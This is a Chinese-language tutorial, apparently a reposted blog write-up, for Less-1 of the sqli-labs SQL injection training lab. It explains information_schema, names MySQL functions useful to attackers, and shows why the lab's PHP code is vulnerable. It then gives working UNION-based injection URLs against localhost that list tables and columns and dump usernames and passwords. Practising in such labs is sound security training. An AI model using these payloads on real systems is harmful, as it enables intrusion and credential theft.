sqli-labs-master less-1 详解

 

目录

 

关于MySQL的一些常识

information_schema

常用的函数

sqli-labs-master less-1

 分析PHP源码      

测试      


关于MySQL的一些常识

information_schema

  information_schema 是 MySQL 数据库中的一个元数据(metadata)数据库,它包含了关于数据库、表、列、索引、权限等信息的元数据。

通过在SQL注入攻击中利用 information_schema,可以执行诸如以下操作:

#获取数据库名
SELECT schema_name FROM information_schema.schemata;#获取数据库中的表名
SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';#获取指定表中的列名和数据类型
SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'table_name' AND table_schema = 'database_name';#获取指定表的索引信息
SELECT index_name, column_name FROM information_schema.statistics WHERE table_name = 'table_name' AND table_schema = 'database_name';#获取当前用户的权限信息
SELECT index_name, column_name FROM information_schema.statistics WHERE table_name = 'table_name' AND table_schema = 'database_name';#获取存储过程和函数信息
SELECT routine_name, routine_type FROM information_schema.routines WHERE routine_schema = 'database_name';

常用的函数

UNION SELECT: 用于将两个或多个SELECT语句的结果组合成一个结果集。

SELECT INTO OUTFILE: 将查询结果写入文件中。

LOAD_FILE(): 从文件系统中加载文件内容到查询结果中。

CONCAT(): 用于连接字符串。

SUBSTRING(): 用于提取字符串的子串。

GROUP_CONCAT(): 用于将查询结果中的多个值连接成一个字符串。

VERSION(): 返回MySQL服务器的版本信息。

DATABASE(): 返回当前数据库的名称。

USER(): 返回当前MySQL用户的用户名和主机信息。

PASSWORD(): 用于加密密码。

SLEEP(): 用于使查询暂停指定的时间。

BENCHMARK(): 用于执行基准测试。

IF(): 用于条件判断。

EXISTS(): 用于检查子查询是否返回结果。

ORDER BY: 用于对查询结果进行排序。

sqli-labs-master less-1

less-1有一个基于错误的字符串(Error Based String)漏洞。

        这里提示我们输入id作为参数

 分析PHP源码      

         在当前页面的PHP源码中可以看到,存在一行代码   “  $id=$_GET['id'];  ”这行代码将从URL参数中获取的"id"值直接赋给变量$id,而没有对其进行任何过滤或转义。这导致了SQL注入漏洞的出现,可以通过在"id"参数中插入恶意的SQL代码来执行任意的数据库操作。

        还有 “  $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ” 将$id变量插入到SQL查询中,但没有对其进行任何过滤或转义,可以通过$id参数执行任意的数据库操作,而不受限于原始查询的意图。

测试      

          这里我们在url中传参,可以看到,后端返回成功了

         然后我们根据  $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    来构造查询语句

        首先用 单引号 ’ 闭合‘$id’     可以看到报错了,我们闭合成功了。

这里补充一下MySQL注释的三种方法:  /* */            #              -- 

联合查询 的前提是,两张表的列数相同,所以我们先表的判断列数

联合查询前面条件为假,才会接着进行查询

这里猜列数,建议用二分查找的方法可以快速确定目标数字。我们使用order by用于对查询结果进行排序。用以确定列数

        这里 我们构造语句 可以看到 有三个值


http://localhost/sqli/Less-1/?id=-1'union select 1,2,3 --+# url编码后如下http://localhost/sqli/Less-1/?id=-1%27union%20select%201,2,3%20--+

        

#有三个值 username password 可以看到,2,3 的结果会被展示出来localhost/sqli/Less-1/index.php/?id=-1'union select 1,2,3--+

        这里   我们将2改为version() 查询数据库的版本

        查找当前所处库的库名

        查找当前登录的用户

        接下来找"security" 的所有表名    理论上用户名和密码在users表中

localhost/sqli/Less-1/index.php/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

 

         理论上用户名和密码在users表中,接下来我们看users表中的字段 可以看到username和password

localhost/sqli/Less-1/index.php/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 

接下来获取username和password字段的内容     第二个字段可以用一些字母或数字隔开 

http://localhost/sqli/Less-1/index.php/?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/654858.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++ 数论相关题目 求组合数Ⅱ

给定 n 组询问,每组询问给定两个整数 a,b ,请你输出 Cbamod(1097) 的值。 输入格式 第一行包含整数 n 。 接下来 n 行,每行包含一组 a 和 b 。 输出格式 共 n 行,每行输出一个询问的解。 数据范围 1≤n≤10000 , 1…

方法、数组

方法 是语句的集合,在一起执行一个功能 它是解决一类问题的步骤的有序集合 包含于类或对象中 在程序中创建,在其他地方被引用 设计方法的原则:方法的本意是功能块,就是实现某一个功能的语句块的集合。设计时,最好保持…

【ArcGIS微课1000例】0096:dem三维块状表达(层次地形模型)

文章目录 一、DEM表达方式二、层次模型表达三、注意事项一、DEM表达方式 DEM数字高程模型的表达方式通常有以下4种: 1. 规则格网 2. 不规则三角网 3. 等高线 4. 层次地形模型 作为栅格地理数据,DEM 数据具有2.5维的特征,能够以三维表面的形式进行三维空间表达。但受其数…

IndexedDB查询

Indexeddb 创建、增删改查_indexdb 删除表-CSDN博客本地数据库IndexedDB - 学员管理系统之条件筛选&#xff08;四&#xff09;_indexdb条件查询-CSDN博客 <div align"center"><input type"text" id"input_search"> <button id&q…

在Visual Studio 2022中将源文件扩展名改为 .c 后,没有显示 #define _CRT_SECURE_NO_WARNINGS 1?

一、问题 在Visual Studio 2022中将源文件扩展名改为 .c 后&#xff0c;没有显示 #define _CRT_SECURE_NO_WARNINGS 1&#xff1f; 二、解答 对于使用了不安全的C运行时库函数&#xff08;如strcpy、scanf等&#xff09;而触发的安全警告&#xff0c;编译器不会默认包含_CRT_S…

C#颜色拾取器

1&#xff0c;目的&#xff1a; 获取屏幕上任意位置像素的色值。 2&#xff0c;知识点: 热键的注册与注销。 /// <summary>/// 热键注册/// </summary>/// <param name"hWnd">要定义热键的窗口的句柄 </param>/// <param name"id…

【大厂AI课学习笔记】1.3 人工智能产业发展(1)

我国人工智能政策&#xff0c;分为5个阶段。从探索期&#xff0c;到后面的4个阶段。 MORE:&#xff08;以下为文心一言4.0的参考内容&#xff0c;和腾讯课程资料的分阶段&#xff0c;略有不同&#xff09; 我国的人工智能政策发展可以大致分为以下几个阶段&#xff0c;每个阶段…

C/C++ - 内存管理(C++)

堆栈 C中的栈和堆是用于存储变量和对象​​的两个主要内存区域。栈是一种自动分配和释放内存的区域&#xff0c;用于存储局部变量和函数调用的上下文。栈上的内存分配和释放是自动进行的&#xff0c;无需手动管理。堆是动态分配内存的区域&#xff0c;用于存储动态创建的对象和…

【UE 材质】闪电材质

效果 步骤 1. 新建一个材质这里命名为“M_Lighting” 打开“M_Lighting”&#xff0c;设置混合模式为半透明&#xff0c;着色模型为无光照 在材质图表中添加如下节点 其中&#xff0c;纹理采样节点的纹理是一个线条 此时预览窗口中效果如文章开头所示。

wordpress找不回密码怎么办?4种方法设置新密码

有些WordPress站长太久不登录后台了&#xff0c;所以就忘记了管理员登录密码&#xff0c;这种情况我们应该怎么找回密码呢&#xff1f;或者设置一个新密码呢&#xff1f;下面boke112百科就跟大家分享4种方法设置WordPress新密码。 方法一、登录页面的“忘记密码&#xff1f;”…

基于DistFlow潮流的配电网故障重构MATLAB程序

微❤关注“电气仔推送”获得资料&#xff08;专享优惠&#xff09; 简介 程序采用适用于辐射状网络的DistFlow潮流模型&#xff0c;可输入任意故障线路编号&#xff0c;得到优化重构结果。程序加入了辐射状和连续状约束&#xff0c;保证网络连通性和辐射性&#xff0c;改换成…

85 C++对象模型探索。数据语义学 - 继承多个类,且是虚基类的数据内存模型分析。虚基类表,虚基类表指针

前面我们分析了 继承多个类的情况。上一次分析的这样的情况&#xff1a; 今天看虚基类。先复习一下虚基类&#xff1a;类似下面这样的图 复习虚基类可以解决的问题&#xff1a; 在这之前先要复习一下多继承同一个爷爷类时带来的问题 空间问题 效率问题 二义性问题 //虚基类问…

【一】esp32芯片开发板环境搭建

1、esp32的源码在github上的地址 不同的芯片支持的源码版本不一样&#xff0c;需要根据自己的实际的esp32开发板的芯片下载不用版本的代码 esp32支持多种开发方式&#xff0c;如arduino&#xff0c;ESP-IDF等。官方推荐使用idf开发&#xff0c;ESP-IDF 是乐鑫官方推出的物联网开…

有趣的css - 第一个字符串自动生成文字图标

在设计 app 界面的时候&#xff0c;要展示一部分最新的资讯入口&#xff0c;然后出了一张下面的 UI 稿。 UI稿截图如下&#xff1a; 列表设计比较简单&#xff0c;就是列表前面的圆形图标这块&#xff0c;我个人觉得还是有点意思的。 一般的话&#xff0c;大概率都是用js限制…

【Web前端实操16】雪碧图(CSS精灵图)

雪碧图 CSS Sprite也叫CSS精灵图、CSS雪碧图&#xff0c;是一种网页图片应用处理方式。它允许你将一个页面涉及到的所有零星图片都包含到一张大图中去 雪碧图一般会给一个完整的图片&#xff0c;主要利用background-position 属性设置背景图像的起始位置。 优点 减少图片的字…

单调队列优化DP模型整理

135. 最大子序和&#xff08;活动 - AcWing&#xff09; 找一个长度不超过m的连续子序列&#xff0c;但是并未指定这个子序列的长度&#xff0c;所以长度就有很多种选择&#xff0c;要获取任意一段长度的序列的区间和&#xff0c;那么显然要用到前缀和。然后我们来考虑&#xf…

基于Spring Boot的饮食分享平台设计与实现

✍✍计算机编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java实战 |…

【Javaweb程序设计】【C00161】基于SSM电子产品交易管理系统(论文+PPT)

基于SSM电子产品交易管理系统&#xff08;论文PPT&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于ssm的电子产品交易系统 本系统分为前台用户和后台管理员2个功能模块. 前台用户模块&#xff1a;当游客打开系统的网址后&#xff0c;首先看到的就…

换个思路快速上手UML和plantUML——时序图

上一章我们介绍了类图&#xff0c;我们很清楚&#xff0c;类图是从更加宏观的角度去梳理系统结构的&#xff0c;从类图中我们可以获取到类与类之间&#xff1a;继承&#xff0c;实现等关系信息&#xff0c;是宏观逻辑。下面我们继续换一个思路&#xff1a;作为一名软件工程结构…